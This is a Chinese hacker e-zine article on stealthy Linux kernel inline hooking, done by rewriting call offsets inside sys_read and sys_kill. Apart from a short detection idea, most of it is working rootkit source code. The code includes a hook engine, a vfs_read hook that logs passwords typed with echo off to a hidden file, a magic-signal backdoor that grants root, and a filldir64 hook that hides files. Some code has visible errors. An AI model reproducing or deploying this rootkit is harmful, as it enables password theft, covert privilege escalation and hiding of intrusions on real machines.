==Ph4nt0m Security Team==

Issue 0x03, Phile #0x03 of 0x07

|=----------=[高级Linux Kernel Inline Hook技术分析与实现]=----------=|

|=----------=[By wzt]=----------=|
|=----------=[<wzt_at_xsec.org>]=----------=|

[目录]

一、简述

目前流行和成熟的kernel inline hook技术就是修改内核函数的opcode，通过写入jmp或push ret等指令跳转到新的内核函数中，从而达到修改或过滤的功能。这些技术的共同点就是都会覆盖原有的指令，这样很容易在函数中通过查找jmp，push ret等指令来查出来，因此这种inline hook方式不够隐蔽。本文将使用一种高级inline hook技术来实现更隐蔽的inline hook技术。

二、更改offset实现跳转

如何不给函数添加或覆盖新指令，就能跳转到我们新的内核函数中去呢？我们知道实现一个系统调用的函数中不可能把所有功能都在这个函数中全部实现，它必定要调用它的下层函数。如果这个下层函数也可以得到我们想要的过滤信息等内容的话，就可以把下层函数在上层函数中的offset替换成我们新的函数的offset，这样上层函数调用下层函数时，就会跳到我们新的函数中，在新的函数中做过滤和劫持内容的工作。原理是这样的，具体来分析它该怎么实现，我们去看看sys_read的具体实现：

```
linux-2.6.18/fs/read_write.c
asmlinkage ssize_t sys_read(unsigned int fd, char __user * buf, size_t count)
{
        struct file *file;
        ssize_t ret = -EBADF;
        int fput_needed;

        file = fget_light(fd, &fput_needed);
        if (file) {
                loff_t pos = file_pos_read(file);
                ret = vfs_read(file, buf, count, &pos);
                file_pos_write(file, pos);
                fput_light(file, fput_needed);
```

```
        }

        return ret;
}
EXPORT_SYMBOL_GPL(sys_read);
```

我们看到sys_read最终是要调用下层函数vfs_read来完成读取数据的操作，所以我们不需要给sys_read添加或覆盖指令，而是要更改vfs_read在sys_read代码中的offset就可以跳转到我们新的new_vfs_read中去。如何修改vfs_read的offset呢？先反汇编下sys_read看看：

```
[root@xsec linux-2.6.18]# gdb -q vmlinux
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disass sys_read
Dump of assembler code for function sys_read:
0xc106dc5a <sys_read+0>:        push   %ebp
0xc106dc5b <sys_read+1>:        mov    %esp,%ebp
0xc106dc5d <sys_read+3>:        push   %esi
0xc106dc5e <sys_read+4>:        mov    $0xffffffff7,%esi
0xc106dc63 <sys_read+9>:        push   %ebx
0xc106dc64 <sys_read+10>:       sub    $0xc,%esp
0xc106dc67 <sys_read+13>:       mov    0x8(%ebp),%eax
0xc106dc6a <sys_read+16>:       lea    0xfffffff4(%ebp),%edx
0xc106dc6d <sys_read+19>:       call   0xc106e16c <fget_light>
0xc106dc72 <sys_read+24>:       test   %eax,%eax
0xc106dc74 <sys_read+26>:       mov    %eax,%ebx
0xc106dc76 <sys_read+28>:       je     0xc106dcb1 <sys_read+87>
0xc106dc78 <sys_read+30>:       mov    0x24(%ebx),%edx
0xc106dc7b <sys_read+33>:       mov    0x20(%eax),%eax
0xc106dc7e <sys_read+36>:       mov    0x10(%ebp),%ecx
0xc106dc81 <sys_read+39>:       mov    %edx,0xfffffff0(%ebp)
0xc106dc84 <sys_read+42>:       mov    0xc(%ebp),%edx
0xc106dc87 <sys_read+45>:       mov    %eax,0xffffffec(%ebp)
0xc106dc8a <sys_read+48>:       lea    0xffffffec(%ebp),%eax
0xc106dc8d <sys_read+51>:       push   %eax
0xc106dc8e <sys_read+52>:       mov    %ebx,%eax
0xc106dc90 <sys_read+54>:       call   0xc106d75c <vfs_read>
0xc106dc95 <sys_read+59>:       mov    0xfffffff0(%ebp),%edx
0xc106dc98 <sys_read+62>:       mov    %eax,%esi
0xc106dc9a <sys_read+64>:       mov    0xffffffec(%ebp),%eax
0xc106dc9d <sys_read+67>:       mov    %edx,0x24(%ebx)
0xc106dca0 <sys_read+70>:       mov    %eax,0x20(%ebx)
0xc106dca3 <sys_read+73>:       cmpl   $0x0,0xfffffff4(%ebp)
0xc106dca7 <sys_read+77>:       pop    %eax
0xc106dca8 <sys_read+78>:       je     0xc106dcb1 <sys_read+87>
0xc106dcaa <sys_read+80>:       mov    %ebx,%eax
0xc106dcac <sys_read+82>:       call   0xc106e107 <fput>
0xc106dcb1 <sys_read+87>:       lea    0xfffffff8(%ebp),%esp
0xc106dcb4 <sys_read+90>:       mov    %esi,%eax
0xc106dcb6 <sys_read+92>:       pop    %ebx
0xc106dcb7 <sys_read+93>:       pop    %esi
0xc106dcb8 <sys_read+94>:       pop    %ebp
0xc106dcb9 <sys_read+95>:       ret
End of assembler dump.
(gdb)
```

0xc106dc90 <sys_read+54>:   call   0xc106d75c <vfs_read>

通过call指令来跳转到vfs_read中去。0xc106d75c是vfs_read的内存地址。所以只要把这个地址替换成我们的新函数地址，当sys_read执行这块的时候，就会跳转到我们的函数来了。

下面给出我写的一个hook引擎，来完成查找和替换offset的功能。原理就是搜索sys_read的opcode，如果发现是call指令，根据call后面的offset重新计算要跳转的地址是不是我们要hook的函数地址，如果是就重新计算新函数的offset，用新的offset替换原来的offset。从而完成跳转功能。

参数handler是上层函数的地址，这里就是sys_read的地址，old_func是要替换的函数地址，这里就是vfs_read, new_func是新函数的地址，这里就是new_vfs_read的地址。

```
unsigned int patch_kernel_func(unsigned int handler, unsigned int old_func,
                unsigned int new_func)
{
        unsigned char *p = (unsigned char *)handler;
        unsigned char buf[4] = "\x00\x00\x00\x00";
        unsigned int offset = 0;
        unsigned int orig = 0;
        int i = 0;

        DbgPrint("\n*** hook engine: start patch func at: 0x%08x\n", old_func);

        while (1) {
                if (i > 512)
                        return 0;

                if (p[0] == 0xe8) {
                        DbgPrint("*** hook engine: found opcode 0x%02x\n", p[0]);

                        DbgPrint("*** hook engine: call addr: 0x%08x\n",
                                (unsigned int)p);
                        buf[0] = p[1];
                        buf[1] = p[2];
                        buf[2] = p[3];
                        buf[3] = p[4];

                        DbgPrint("*** hook engine: 0x%02x 0x%02x 0x%02x 0x%02x\n",
                                p[1], p[2], p[3], p[4]);

                        offset = *(unsigned int *)buf;
                        DbgPrint("*** hook engine: offset: 0x%08x\n", offset);

                        orig = offset + (unsigned int)p + 5;
                        DbgPrint("*** hook engine: original func: 0x%08x\n", orig);

                        if (orig == old_func) {
                                DbgPrint("*** hook engine: found old func at"
                                        " 0x%08x\n",
                                        old_func);

                                DbgPrint("%d\n", i);
                                break;
                        }
```

```
                }
                p++;
                i++;
        }

        offset = new_func - (unsigned int)p - 5;
        DbgPrint("*** hook engine: new func offset: 0x%08x\n", offset);

        p[1] = (offset & 0x000000ff);
        p[2] = (offset & 0x0000ff00) >> 8;
        p[3] = (offset & 0x00ff0000) >> 16;
        p[4] = (offset & 0xff000000) >> 24;

        DbgPrint("*** hook engine: pachted new func offset.\n");

        return orig;
}
```

使用这种方法，我们仅改了函数的一个offset，没有添加和修改任何指令，传统的inline hook检查思路都已经失效。

三、补充

这种通过修改offset的来实现跳转的方法，需要知道上层函数的地址，在上面的例子中sys_read和vfs_read在内核中都是导出的，因此可以直接引用它们的地址。但是如果想hook没有导出的函数时，不仅要知道上层函数的地址，还要知道下层函数的地址。因此给rootkit的安装稍微带了点麻烦。不过，可以通过读取/proc/kallsyms或system map来查找函数地址。

四、如何查杀

这种inline hook技术改写的只是函数的offset， 并没有添加传统的jmp, push ret等指令，所以传统的inline hook检测技术基本失效。我想到的一种解决方法就是对某些函数的offset做备份，然后需要的时候与现在的offset进行比较，如果不相等可能机器就中了这种类型的rootkit。 如果您有好的想法可以通过mail与我共同交流。

五、实例

下面是hook sys_read的部分代码实现，读者可以根据思路来补充完整。

```
========
config.h

#ifndef CONFIG_H
#define CONFIG_H

#define SNIFF_LOG               "/tmp/.sniff_log"
#define KALL_SYMS_NAME          "/proc/kallsyms"

#define HIDE_FILE               "test"

#define MAGIC_PID               12345
#define MAGIC_SIG               58
```

```
#endi

======
hook.h

#ifndef HOOK_H
#define HOOK_H

#define HOOK_VERSION    0.1

#define HOOK_DEBUG

#ifdef HOOK_DEBUG
#define DbgPrint(format, args...) \
        printk("hook: function:%s-L%d: "format, __FUNCTION__, __LINE__, ##args);
#else
#define DbgPrint(format, args...)  do {} while(0);
#endif

#define SYS_REPLACE(x)  orig_##x = sys_call_table[__NR_##x];    \
                        sys_call_table[__NR_##x] = new_##x

#define SYS_RESTORE(x)  sys_call_table[__NR_##x] = orig_##x

#define CLEAR_CR0       asm ("pushl %eax\n\t"                   \
                             "movl %cr0, %eax\n\t"              \
                             "andl $0xfffeffff, %eax\n\t"       \
                             "movl %eax, %cr0\n\t"              \
                             "popl %eax");

#define SET_CR0         asm ("pushl %eax\n\t"                   \
                             "movl %cr0, %eax\n\t"              \
                             "orl $0x00010000, %eax\n\t"        \
                             "movl %eax, %cr0\n\t"              \
                             "popl %eax");


struct descriptor_idt
{
        unsigned short offset_low;
        unsigned short ignore1;
        unsigned short ignore2;
        unsigned short offset_high;
};

static struct {
        unsigned short limit;
        unsigned long base;
}__attribute__ ((packed)) idt48;

void **sys_call_table;

asmlinkage ssize_t new_read(unsigned int fd, char __user * buf, size_t count);
asmlinkage ssize_t (*orig_read)(unsigned int fd, char __user * buf, size_t count);
```

```
#endif

========
k_file.h

#ifndef TTY_SNIFF_H
#define TTY_SNIFF_H

#define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
#define END_KMEM set_fs(old_fs); }

#define BEGIN_ROOT  int saved_fsuid = current->fsuid; \
                        current->fsuid = 0;
#define END_ROOT current->fsuid = saved_fsuid;

#define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)

#define READABLE(f) (f->f_op && f->f_op->read)
#define _read(f, buf, sz) (f->f_op->read(f, buf, sz, &f->f_pos))

#define WRITABLE(f) (f->f_op && f->f_op->write)
#define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))

#define TTY_READ(tty, buf, count) (*tty->driver->read)(tty, 0, \
                                                       buf, count)

#define TTY_WRITE(tty, buf, count) (*tty->driver->write)(tty, 0, \
                                                       buf, count)

int write_to_file(char *logfile, char *buf, int size);

#endif

========
k_file.c

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/string.h>
#include <linux/spinlock.h>
#include <linux/smp_lock.h>
#include <asm/uaccess.h>

#include "k_file.h"

int write_to_file(char *logfile, char *buf, int size)
{
        mm_segment_t old_fs;
        struct file *f = NULL;
        int ret = 0;

        old_fs = get_fs();
```

```
        set_fs(get_ds());

        BEGIN_ROOT
        f = filp_open(logfile, O_CREAT | O_APPEND, 00600);
        if (IS_ERR(f)) {
                printk("Error %ld opening %s\n", -PTR_ERR(f), logfile);
                set_fs(old_fs);
                END_ROOT

                ret = -1;
        } else {
                if (WRITABLE(f)) {
                        _write(f, buf, size);
                }
                else {
                        printk("%s does not have a write method\n", logfile);
                        set_fs(old_fs);
                        END_ROOT

                        ret = -1;
                }

                if ((ret = filp_close(f,NULL)))
                        printk("Error %d closing %s\n", -ret, logfile);
        }

        set_fs(old_fs);
        END_ROOT

        return ret;
}

==========
get_time.c

#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/version.h>
#include <linux/module.h>
#include <linux/time.h>
#include <asm/uaccess.h>

/* Macros used to get local time */

#define SECS_PER_HOUR   (60 * 60)
#define SECS_PER_DAY    (SECS_PER_HOUR * 24)
#define isleap(year) \
        ((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
#define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
#define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))

struct vtm
{
        int tm_sec;
        int tm_min;
```

```
        int tm_hour;
        int tm_mday;
        int tm_mon;
        int tm_year;
};

int timezone;

int epoch2time(const time_t * t, long int offset, struct vtm *tp)
{
        static const unsigned short int mon_yday[2][13] = {
                /* Normal years.  */
                {0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365},
                /* Leap years.  */
                {0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366}
        };

        long int days, rem, y;
        const unsigned short int *ip;

        days = *t / SECS_PER_DAY;
        rem = *t % SECS_PER_DAY;
        rem += offset;
        while (rem < 0) {
                rem += SECS_PER_DAY;
                --days;
        }
        while (rem >= SECS_PER_DAY) {
                rem -= SECS_PER_DAY;
                ++days;
        }
        tp->tm_hour = rem / SECS_PER_HOUR;
        rem %= SECS_PER_HOUR;
        tp->tm_min = rem / 60;
        tp->tm_sec = rem % 60;
        y = 1970;

        while (days < 0 || days >= (isleap(y) ? 366 : 365)) {
                long int yg = y + days / 365 - (days % 365 < 0);
                days -= ((yg - y) * 365 + LEAPS_THRU_END_OF(yg - 1)
                    - LEAPS_THRU_END_OF(y - 1));
                y = yg;
        }
        tp->tm_year = y - 1900;
        if (tp->tm_year != y - 1900)
                return 0;
        ip = mon_yday[isleap(y)];
        for (y = 11; days < (long int) ip[y]; --y)
                continue;
        days -= ip[y];
        tp->tm_mon = y;
        tp->tm_mday = days + 1;
        return 1;
}
```

```
/*
 *  Get current date & time
 */

void get_time(char *date_time)
{
        struct timeval tv;
        time_t t;
        struct vtm tm;

        do_gettimeofday(&tv);
        t = (time_t) tv.tv_sec;

        epoch2time(&t, timezone, &tm);

        sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday,
            tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min,
            tm.tm_sec);
}
```

==========

hide_file.c

```
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/string.h>
#include <linux/types.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/dirent.h>
#include <asm/uaccess.h>

#include "config.h"

#define ROUND_UP64(x) (((x)+sizeof(u64)-1) & ~(sizeof(u64)-1))
#define NAME_OFFSET(de) ((int) ((de)->d_name - (char __user *) (de)))

struct getdents_callback64 {
        struct linux_dirent64 __user * current_dir;
        struct linux_dirent64 __user * previous;
        int count;
        int error;
};

int new_filldir64(void * __buf, const char * name, int namlen, loff_t offset,
                      ino_t ino, unsigned int d_type)
{
        struct linux_dirent64 __user *dirent;
        struct getdents_callback64 * buf = (struct getdents_callback64 *) __buf;
        int reclen = ROUND_UP64(NAME_OFFSET(dirent) + namlen + 1);

        buf->error = -EINVAL;   /* only used if we fail.. */
        if (reclen > buf->count)
                return -EINVAL;
```

```
        dirent = buf->previous;
        if (dirent) {
                if (strstr(name, HIDE_FILE) != NULL) {
                        return 0;
                }

                if (__put_user(offset, &dirent->d_off))
                        goto efault;
        }
        dirent = buf->current_dir;

        if (strstr(name, HIDE_FILE) != NULL) {
                return 0;
        }

        if (__put_user(ino, &dirent->d_ino))
                goto efault;
        if (__put_user(0, &dirent->d_off))
                goto efault;
        if (__put_user(reclen, &dirent->d_reclen))
                goto efault;
        if (__put_user(d_type, &dirent->d_type))
                goto efault;
        if (copy_to_user(dirent->d_name, name, namlen))
                goto efault;
        if (__put_user(0, dirent->d_name + namlen))
                goto efault;
        buf->previous = dirent;
        dirent = (void __user *)dirent + reclen;
        buf->current_dir = dirent;
        buf->count -= reclen;
        return 0;
efault:
        buf->error = -EFAULT;
        return -EFAULT;
}

======
hook.c
/*
        My hook engine v0.20

        by wzt  <wzt@xsec.org>

        tested on  amd64 as5, x86 as4,5
*/

#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/spinlock.h>
#include <linux/smp_lock.h>
#include <linux/fs.h>
#include <linux/file.h>
```

```
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/unistd.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/tty.h>
#include <linux/tty_driver.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/siginfo.h>

#include "syscalls.h"
#include "config.h"
#include "k_file.h"
#include "hide_file.h"
#include "hook.h"

#define READ_NUM        200

extern int write_to_file(char *logfile, char *buf, int size);

ssize_t (*orig_vfs_read)(struct file *file, char __user *buf, size_t count,
                loff_t *pos);
int (*orig_kill_something_info)(int sig, struct siginfo *info, int pid);

unsigned int system_call_addr = 0;
unsigned int sys_call_table_addr = 0;

unsigned int sys_read_addr = 0;
unsigned int sys_getdents64_addr = 0;
unsigned int sys_kill_addr = 0;
unsigned int kill_something_info_addr = 0;

int hook_kill_something_info_flag = 1;
int hook_vfs_read_flag = 1;

spinlock_t tty_sniff_lock = SPIN_LOCK_UNLOCKED;

unsigned int filldir64_addr = 0;
unsigned char old_filldir64_opcode[5];

unsigned int get_sct_addr(void)
{
        int i = 0, ret = 0;

        for (; i < 500; i++) {
                if ((*(unsigned char*)(system_call_addr + i) == 0xff)
                        && (*(unsigned char *)(system_call_addr + i + 1) == 0x14)
                        && (*(unsigned char *)(system_call_addr + i + 2) == 0x85)) {
                        ret = *(unsigned int *)(system_call_addr + i + 3);
                        break;
                }
        }
```

```
        return ret;
}

unsigned int find_kernel_symbol(char *symbol_name, char *search_file)
{
        mm_segment_t old_fs;
        ssize_t bytes;
        struct file *file = NULL;
        char read_buf[500];
        char *p, tmp[20];
        unsigned int addr = 0;
        int i = 0;

        file = filp_open(search_file, O_RDONLY, 0);
        if (!file)
                return -1;

        if (!file->f_op->read)
                return -1;

        old_fs = get_fs();
        set_fs(get_ds());

        while ((bytes = file->f_op->read(file, read_buf, 500, &file->f_pos))) {
                if ((p = strstr(read_buf, symbol_name)) != NULL) {
                        while (*p--)
                                if (*p == "\n")
                                        break;

                        while (*p++ != " ") {
                                tmp[i++] = *p;
                        }
                        tmp[--i] = "\0";

                        addr = simple_strtoul(tmp, NULL, 16);
                        DbgPrint("find %s at: 0x%8x\n", symbol_name, addr);

                        break;
                }
        }


        filp_close(file,NULL);
        set_fs(old_fs);

        return addr;
}

unsigned int try_find_kernel_symbol(char *symbol_name, char *search_file,
        int search_num)
{
        unsigned int addr = 0;
        int i = 0;

        for (i = 0; i < search_num; i++) {
```

```
                addr = find_kernel_symbol(symbol_name, search_file);
                if (addr)
                        break;
        }

        return addr;
}

ssize_t new_vfs_read(struct file *file, char __user *buf, size_t count,
                loff_t *pos)
{
        ssize_t ret;

        ret = (*orig_vfs_read)(file, buf, count, pos);
        if (ret > 0) {
                struct task_struct *tsk = current;
                struct tty_struct *tty = NULL;

                tty = tsk->signal->tty;
                if (tty && IS_PASSWD(tty)) {
                        char *tmp_buf = NULL, buff[READ_NUM];

                        if (ret > READ_NUM)
                                return ret;

                        tmp_buf = (char *)kmalloc(ret, GFP_ATOMIC);
                        if (!tmp_buf)
                                return ret;

                        copy_from_user(tmp_buf, buf, ret);

                        snprintf(buff, sizeof(buff),
                                "<process: %s>\t--\tpasswd: %s\n", tsk->comm,
                                tmp_buf);
                        write_to_file(SNIFF_LOG, buff, strlen(buff));

                        kfree(tmp_buf);
                }
        }

        return ret;
}

int new_kill_something_info(int sig, struct siginfo *info, int pid)
{
        struct task_struct *tsk = current;
        int ret;

        if ((MAGIC_PID == pid) && (MAGIC_SIG == sig)) {
                tsk->uid = 0;
                tsk->euid = 0;
                tsk->gid = 0;
                tsk->egid = 0;

                return 0;
```

```
        }
        else {
                ret = (*orig_kill_something_info)(sig, info, pid);

                return ret;
        }
}

unsigned int patch_kernel_func(unsigned int handler, unsigned int old_func,
                unsigned int new_func)
{
        unsigned char *p = (unsigned char *)handler;
        unsigned char buf[4] = "\x00\x00\x00\x00";
        unsigned int offset = 0;
        unsigned int orig = 0;
        int i = 0;

        DbgPrint("\n*** hook engine: start patch func at: 0x%08x\n", old_func);

        while (1) {
                if (i > 512)
                        return 0;

                if (p[0] == 0xe8) {
                        DbgPrint("*** hook engine: found opcode 0x%02x\n", p[0]);

                        DbgPrint("*** hook engine: call addr: 0x%08x\n",
                                (unsigned int)p);
                        buf[0] = p[1];
                        buf[1] = p[2];
                        buf[2] = p[3];
                        buf[3] = p[4];

                        DbgPrint("*** hook engine: 0x%02x 0x%02x 0x%02x 0x%02x\n",
                                p[1], p[2], p[3], p[4]);

                        offset = *(unsigned int *)buf;
                        DbgPrint("*** hook engine: offset: 0x%08x\n", offset);

                        orig = offset + (unsigned int)p + 5;
                        DbgPrint("*** hook engine: original func: 0x%08x\n", orig);

                        if (orig == old_func) {
                                DbgPrint("*** hook engine: found old func at"
                                        " 0x%08x\n",
                                        old_func);

                                DbgPrint("%d\n", i);
                                break;
                        }
                }
                p++;
                i++;
        }
```

```
        offset = new_func - (unsigned int)p - 5;
        DbgPrint("*** hook engine: new func offset: 0x%08x\n", offset);

        p[1] = (offset & 0x000000ff);
        p[2] = (offset & 0x0000ff00) >> 8;
        p[3] = (offset & 0x00ff0000) >> 16;
        p[4] = (offset & 0xff000000) >> 24;

        DbgPrint("*** hook engine: pachted new func offset.\n");

        return orig;
}

static int inline_hook_func(unsigned int old_func, unsigned int new_func,
        unsigned char *old_opcode)
{
        unsigned char *buf;
        unsigned int p;
        int i;

        buf = (unsigned char *)old_func;
        memcpy(old_opcode, buf, 5);

        p = (unsigned int)new_func - (unsigned int)old_func - 5;
        buf[0] = 0xe9;
        memcpy(buf + 1, &p, 4);
}

static int restore_inline_hook(unsigned int old_func, unsigned char *old_opcode)
{
        unsigned char *buf;

        buf = (unsigned char *)old_func;
        memcpy(buf, old_opcode, 5);
}

static int hook_init(void)
{
        struct descriptor_idt *pIdt80;

        __asm__ volatile ("sidt %0": "=m" (idt48));

        pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80);

        system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low);
        if (!system_call_addr) {
                DbgPrint("oh, shit! can't find system_call address.\n");
                return 0;
        }
        DbgPrint(KERN_ALERT "system_call addr : 0x%8x\n",system_call_addr);

        sys_call_table_addr = get_sct_addr();
        if (!sys_call_table_addr) {
                DbgPrint("oh, shit! can't find sys_call_table address.\n");
                return 0;
```

```
}
DbgPrint(KERN_ALERT "sys_call_table addr : 0x%8x\n",sys_call_table_addr);

sys_call_table = (void **)sys_call_table_addr;

sys_read_addr = (unsigned int)sys_call_table[__NR_read];
sys_kill_addr = (unsigned int)sys_call_table[__NR_kill];

DbgPrint("sys_read addr: 0x%08x\n", sys_read_addr);
DbgPrint("sys_kill addr: 0x%08x\n", sys_kill_addr);

kill_something_info_addr = try_find_kernel_symbol("kill_something_info2",
        KALL_SYMS_NAME, 3);
DbgPrint("kill_something_info addr: 0x%08x\n", kill_something_info_addr);


filldir64_addr = try_find_kernel_symbol("filldir64", KALL_SYMS_NAME, 3);
DbgPrint("filldir64 addr: 0x%08x\n", filldir64_addr);

lock_kernel();
CLEAR_CR0

if (sys_read_addr) {
        orig_vfs_read = (ssize_t (*)())patch_kernel_func(sys_read_addr,
                        (unsigned int)vfs_read, (unsigned int)new_vfs_read);
        if ((unsigned int)orig_vfs_read == 0)
                hook_vfs_read_flag = 0;
}

if (kill_something_info_addr && sys_kill_addr) {
        orig_kill_something_info = (int (*)())patch_kernel_func(sys_kill_addr,
                        (unsigned int)kill_something_info_addr,
                        (unsigned int)new_kill_something_info);
        if ((unsigned int)orig_kill_something_info == 0)
                hook_kill_something_info_flag = 0;
}

if (filldir64_addr) {
        inline_hook_func(filldir64_addr, (unsigned int)new_filldir64,
                old_filldir64_opcode);
}

SET_CR0
unlock_kernel();

DbgPrint("orig_vfs_read: 0x%08x\n", (unsigned int)orig_vfs_read);
DbgPrint("orig_kill_something_info: 0x%08x\n", (unsigned int)orig_kill_something_info);

if (!hook_kill_something_info_flag && !hook_vfs_read_flag) {
        DbgPrint("install hook failed.\n");
}
else {
        DbgPrint("install hook ok.\n");
}
```

```
        return 0;
}

static void hook_exit(void)
{
        lock_kernel();
        CLEAR_CR0

        if (hook_vfs_read_flag)
                patch_kernel_func(sys_read_addr, (unsigned int)new_vfs_read,
                        (unsigned int)vfs_read);

        if (hook_kill_something_info_flag)
                patch_kernel_func(sys_kill_addr, (unsigned int)new_kill_something_info,
                        (unsigned int)kill_something_info_addr);

        SET_CR0
        unlock_kernel();

        if (filldir64_addr) {
                restore_inline_hook(filldir64_addr, old_filldir64_opcode);
        }

        DbgPrint("uninstall hook ok.\n");
}

module_init(hook_init);
module_exit(hook_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

-EOF-
```